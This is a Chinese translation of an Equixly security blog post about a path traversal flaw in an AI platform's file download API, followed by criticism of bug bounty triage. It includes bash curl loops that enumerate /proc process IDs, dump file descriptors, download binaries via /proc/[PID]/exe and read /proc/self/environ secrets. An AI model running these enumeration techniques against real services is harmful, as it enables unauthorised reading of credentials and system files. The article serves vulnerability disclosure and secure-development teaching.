AI容器的安全幻象：路径穿越漏洞案例研究

2025年11月7日 08:35

询问ChatGPT

注：本文翻译自Equixly的文章《The False Security of AI Containers: A Path Traversal Case Study》^[1]，可点击文末“阅读原文”按钮查看英文原文。

全文如下：

摘要

在当前AI发展现状下，大多数LLM智能体运行于容器化环境中，使其能够执行命令并生成可下载的输出结果。LLM需要这些能力（称为tools工具），因为它们存在知识截止日期，无法获取实时信息（例如当前日期），也无法通过执行代码来解决需要数据处理的复杂问题。许多开发者假设容器隔离能提供充分保护，认为这种架构具有固有安全性。然而，仅依赖容器隔离实则是一种虚假的安全感。

虽然容器逃逸漏洞（例如通过我对容器逃逸向量的独立研究发现的CVE-2021-37841^[2]）以及众多其他威胁已有充分记录，但一个更隐蔽的问题始终存在：大型企业部署着他们认为是完全安全的容器，却允许从容器内部进行无限制的文件下载和数据导出。这一缺陷构成了大多数AI开发者忽视的可被利用的攻击面。

一、漏洞赏金实战分析

作为Equixly安全研究计划的一部分，我经常参与领先平台提供的漏洞披露计划，以发现这些平台内的API安全风险。在OpenAI和微软等大型企业中发现漏洞的经历，进一步增强了我们对Equixly的信心。

近期，Equixly通过一个看似无害的API端点，在某OpenAI主要竞争者的平台中发现了安全漏洞：

retrieve?filename=/../user-file/uuid.txt

该路径参数直接指向外部磁盘存储，导致出现典型的任意文件下载和路径遍历漏洞。但故事并未就此结束。

在Equixly初步发现该漏洞后，我深入研究了其利用潜力——特别是探究该漏洞是否能够实现容器逃逸、权限提升或从平台无限制导出敏感数据。

1.1 利用Linux文件描述符

这正是Linux文件描述符（FD，file descriptor）成为理解已发现漏洞的真实破坏潜力关键的原因。

1.1.1 理解 `/proc` 中的文件描述符

Linux中每个运行进程都维护着一组文件描述符（FD），用于表示打开的文件、套接字、管道及其他I/O资源。/proc/[PID]/fd/ 目录包含了指向进程当前打开所有文件的符号链接。这一特性对攻击者极具价值，因为它能：

• 揭示应用程序正在活跃使用的资源——配置文件、数据库连接、日志文件或Unix套接字
• 可能绕过路径限制——即使无法直接请求 /app/config/secrets.json，若进程已将其作为FD 4打开，仍可通过 /proc/[PID]/fd/4 访问
• 暴露网络连接——套接字FD可揭示活跃连接与监听端口

1.1.2 实战枚举技术

以下是通过存在漏洞的API端点执行文件描述符枚举的示例：

#!/bin/bash

# 通过枚举进程ID识别运行中的进程
# Linux系统中进程ID范围通常为1到pid_max
# 该值定义在/proc/sys/kernel/pid_max中

curl "http://.../api/retrieve?filename=/proc/sys/kernel/pid_max"

# 通过检查/proc/[pid]/cmdline枚举运行进程

for pid in {1..500}; do
  response=$(curl -s "http://.../api/retrieve?filename=/proc/${pid}/cmdline")
if [ $? -eq 0 ] && [ -n "$response" ]; then
    echo"PID $pid: $response"
fi
done

# 输出示例：
# PID 1: /sbin/init
# PID 156: /usr/bin/python3 /app/main.py
# PID 342: /opt/api-server-equixly/xxxxx-api --config /etc/api/config.toml

在识别出值得关注的进程后，枚举其文件描述符就变得轻而易举：

#!/bin/bash

TARGET_PID=342

# 枚举目标进程的所有文件描述符
for fd in {0..255}; do
# 通过文件描述符符号链接尝试下载文件
  curl -s "http://.../api/retrieve?filename=/proc/${TARGET_PID}/fd/${fd}" \
    -o "fd_${fd}.dump"

# 验证是否获取到有效内容
if [ -s "fd_${fd}.dump" ]; then
    # 识别文件类型
    file_type=$(file "fd_${fd}.dump")
    echo"FD $fd: $file_type"
else
    rm"fd_${fd}.dump"
fi
done

# 输出示例：
# FD 0: /dev/null
# FD 4: /etc/api/config.toml
# FD 5: ...

这种方法完全避免了盲目猜测路径的必要性。无需寄希望于偶然发现 /etc/passwd 或 /app/.env 等路径，我能够系统性地枚举应用程序实际访问的文件。

1.2 利用`/proc/[PID]/exe`符号链接

/proc/[PID]/exe 符号链接是另一个宝贵资源，开发者在实施下载限制时常常会忽略它的存在。

1. 直接访问运行中的二进制文件：/proc/[PID]/exe 是一个符号链接，指向该进程正在执行的实际可执行文件。通过它可以下载二进制文件本身。
```
# 直接下载正在执行的二进制文件：
curl "https://api.equixly.com/api/retrieve?filename=/proc/342/exe" -o api-binary
```
2. 对应用程序进行逆向工程：获取二进制文件后，你可以：
```
# 反汇编并分析代码：
objdump -d xxxxx-api-binary > disassembly.txt
...
```
通过分析能够：

• 识别认证机制
• 发现硬编码凭证或API密钥
• 找到隐藏的API端点
• 理解加密/哈希算法

3. 掌握完整攻击面：二进制文件可能泄露：

• 所有API端点：不仅限于已记录的接口，还包括内部/调试路由
• 配置文件路径：程序查找配置文件的路径（随后可通过其他文件描述符下载）
• 数据库连接字符串：有时会硬编码或部分暴露
• 第三方依赖：使用的库文件及其版本信息
• 认证逻辑：令牌验证和会话管理的实现方式

1.3 解读 `/proc/self/environ`：机密信息的宝藏

此外，/proc/self/environ 文件值得特别关注，因为在这类攻击中它往往能造成最严重的破坏。这个虚拟文件包含了进程启动时设置的所有环境变量，以空字节分隔的键值对形式存储。

为何如此关键？

现代开发实践鼓励开发者避免硬编码凭证，转而使用环境变量。Docker容器、Kubernetes Pod和CI/CD流水线都严重依赖环境变量来注入：

• 包含凭证的数据库连接字符串
• 第三方服务的API密钥和令牌
• 用于令牌签名的JWT密钥
• 加密密钥

以下是使 /proc/self/environ 尤其危险的原因：

# 原始格式为空字节分隔：
cat /proc/self/environ
# 输出示例：PATH=/usr/bin\0HOME=/root\0DATABASE_URL=postgresql://user:pass@host/db\0

与可能经过加密或混淆的配置文件不同，环境变量以明文形式存储在 /proc/[PID]/environ 中。该文件可被进程自身及拥有足够权限的任何用户读取，这使其成为通过路径遍历漏洞进行利用的完美目标。

1.4 虚假的安全感

通过路径遍历访问 /proc/[PID]/environ 会暴露所有进程环境变量，若未得到适当保护，这可能成为横向移动的潜在载体。环境变量具有以下特征：

1. 在进程生命周期内持续存在
2. 可通过简单的文件读取操作访问
3. 无法通过容器隔离机制防御路径遍历攻击

这一切形成了危险的悖论：开发者为避免硬编码机密而采取的安全措施，反而使这些secrets能通过 /proc/self/environ 被轻易提取。

这种级别的访问权限将简单的路径遍历漏洞升级为完整的系统沦陷，使得攻击者能够从开发者认为安全的容器内部，提取二进制文件、凭证、数据库内容和内部API文档。

二、漏洞赏金平台的重大失误

我决定将发现告知某知名漏洞赏金平台，但后续发展完全出乎意料。

2.1 毫无风险的重复漏洞？

尽管发现的漏洞危害严重，该平台却驳回了我的报告，声称：

1. 容器已阻止下载用户拥有文件或默认文件之外的内容
2. 该漏洞不存在实际风险

我的报告被标记为"重复"且"无风险"，工单在未向受影响公司妥善通报结果的情况下被直接关闭。

2.2 托管式漏洞赏金计划的局限性反思

本次事件揭示了漏洞赏金生态中的一个关键缺陷。初级分析师可在未深入调查、缺乏透明度的情况下直接关闭工单。这形成了扭曲的激励机制：研究人员因追求数量而非深度获得回报，导致关键漏洞被忽视，最终演变为为亿万级企业进行的安全表演。

一个典型例证是安全研究员在Zendesk平台的经历^[3]：HackerOne分诊团队将影响数百家财富500强企业的漏洞判定为"超出范围"。尽管存在明确且现实的威胁，Zendesk却未能采取有效措施。

这个案例清醒地揭示了漏洞赏金平台在有效处置真实安全风险时的系统性失效。依赖第三方服务进行漏洞分诊可能导致关键漏洞被遗漏，尤其当他们缺乏对整体攻击面的深入认知时。

具体而言，像HackerOne这类服务倾向于依据狭隘定义的指南驳回特定类型报告，导致关键问题处置延迟。更甚者，平台可能因沟通误解直接封禁道德黑客账户。正如道德黑客在X等社交平台分享的经历^[4]所示，漏洞赏金服务的管理失当会让企业的安全脆弱期持续远超必要时间。

简而言之，漏洞赏金计划绝不应成为核心防御阵线。现有赏金平台正促使安全研究者优先选择快速见效的发现，而非深度技术研究。投入40小时研究复杂的认证绕过漏洞可能因"重复报告"零报酬，而1小时发现的XSS漏洞却能立即获得回报。

在理性驱动下，安全研究者自然选择更易变现的路径。其结果就是：当亿万市值的企业仍面临复杂攻击威胁时，他们的漏洞赏金计划却充斥着低危XSS报告。第三方托管安全服务非但未能解决此矛盾，反而使其成为常态。

三、根源问题：开发者与安全的鸿沟

本次事件揭示了AI开发领域一个令人担忧的趋势：基础安全知识的普遍缺失。开发者虽擅长构建创新功能，却往往缺乏对安全原则的深入理解。

在此案例中，"这不过是个容器"的认知误区导致了严重的安全疏漏：

• 未对路径参数实施严格验证与限制
• 文件访问API缺乏充分的输入净化机制
• 缺失完善的文件下载白名单控制
• 对Linux文件系统能力的错误认知
• 过度依赖容器隔离作为安全边界

四、结论

容器隔离并非安全领域的万能解药。当路径遍历漏洞与Linux文件描述符访问权限相结合时，这些"安全"的容器可能泄露敏感二进制文件、配置信息及系统数据。

Equixly的使命是在软件开发生命周期中植入关键安全层——在漏洞进入生产环境前完成拦截，而非依赖激励机制错位的第三方研究人员。

除了技术工具，安全研究社区更需要系统性变革。研究人员应当获得与其付出相匹配的回报，无论最终是否发现可利用漏洞。投入40小时进行深度安全评估的研究者理应获得报酬——不仅限于那些偶然发现可利用漏洞的幸运者。

除非行业将激励体系向深度研究而非短期收益倾斜，否则复杂的漏洞将持续潜伏于系统中。

在AI容器漏洞进入生产环境前将其识别。

引用链接

[1] 《The False Security of AI Containers: A Path Traversal Case Study》: https://equixly.com/blog/2025/11/04/path-traversal-ai-containers/
[2] CVE-2021-37841: https://nvd.nist.gov/vuln/detail/CVE-2021-37841?ref=bala.one
[3] 安全研究员在Zendesk平台的经历: https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52
[4] 道德黑客在X等社交平台分享的经历: https://x.com/search?q=hackerone%20banned&src=typed_query&f=live

交流群

收录于

阅读原文